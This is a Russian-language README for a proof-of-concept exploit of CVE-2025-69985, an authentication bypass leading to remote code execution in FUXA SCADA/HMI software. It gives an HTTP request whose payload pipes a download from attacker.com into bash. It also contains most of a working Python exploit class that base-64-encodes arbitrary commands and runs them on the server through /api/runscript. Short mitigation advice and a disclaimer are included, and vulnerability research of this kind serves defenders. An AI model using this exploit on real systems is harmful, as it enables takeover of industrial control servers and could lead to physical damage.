
PoC-эксплойт для CVE-2025-69985: обход аутентификации, приводящий к RCE в FUXA SCADA ≤1.2.8. Включает модульный Python-эксплойт с интерактивной оболочкой, кодированием полезной нагрузки в Base64 и поддержкой прокси для тестирования на проникновение.
Этот репозиторий содержит Концептуальное доказательство (PoC) и подробную техническую документацию по уязвимости CVE-2025-69985, затрагивающей FUXA (версии ≤1.2.8). Уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на сервере (RCE) через обход аутентификации в промежуточном программном обеспечении приложения.
В отличие от традиционных уязвимостей, таких как переполнение буфера в Windows, этот дефект заключается в логической слабости в промежуточном ПО, где сервер путает внешние запросы с внутренними из-за некорректной проверки заголовка Referer.
| CVE | CVE-2025-69985 |
|---|---|
| Тип | Authentication Bypass via Alternate Path (CWE-288) |
| Воздействие | Remote Code Execution (RCE) |
| Серьезность | 9.8 КРИТИЧЕСКИЙ (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Затронутые версии | FUXA ≤ 1.2.8 |
| Платформа | Node.js |
| Продукт | FUXA (веб-ориентированная SCADA/HMI) |
Промежуточное ПО FUXA слепо доверяет заголовку Referer. Если злоумышленник отправляет запрос с:
Referer: http://<target-ip>/
Сервер предполагает, что запрос внутренний, и пропускает проверку JWT-токена, позволяя доступ к защищенным конечным точкам без аутентификации.
После обхода аутентификации злоумышленник может взаимодействовать с конечной точкой /api/runscript, предназначенной для выполнения скриптов Node.js. Отправляя вредоносную JSON-нагрузку, он получает полный контроль над процессом сервера.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Примечание: Этот пример носит иллюстративный характер. Не запускать в производственных средах без авторизации.
| Продукт | Версии | Платформа |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Немедленное обновление Обновите FUXA до версии выше 1.2.8 (официальный патч).
Ручной патч
Измените server/api/jwt-helper.js, чтобы устранить доверие к заголовку Referer как методу аутентификации.
Внедрение WAF
Настройте межсетевой экран веб-приложений (WAF) для блокировки запросов к конечной точке /api/runscript, которые не поступают из известных административных сетей, независимо от заголовка Referer.
🔴 Данный материал предназначен исключительно для образовательных целей и аудита безопасности. 🔴 Использование этих методов против систем без явного разрешения является преступлением. 🔴 Авторы не несут ответственности за неправомерное использование этой информации.
Расширенные возможности, которые поднимают этот эксплойт до профессионального уровня (в стиле Exploit-DB или инструментов Red Team):
| Характеристика | Описание |
|---|---|
| 🔹 Динамическое управление оболочкой | Режим --interactive (-i), открывающий интерактивный REPL для выполнения нескольких команд. |
| 🔹 Обнаружение и снятие отпечатков | Проверяет, существует ли конечная точка /api/runscript, перед запуском атаки (check_vulnerable()). |
| 🔹 Улучшенная нагрузка | Команда, закодированная в Base64, чтобы избежать проблем с экранированием символов (&, >, ", и т.д.). |
| 🔹 Сетевая устойчивость | Поддержка случайных User-Agent и прокси (полезно для Burp Suite или отладки). |
| 🔹 ООП (Объектно-ориентированное программирование) | Модульный, переиспользуемый и расширяемый класс FuxaExploit. |
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"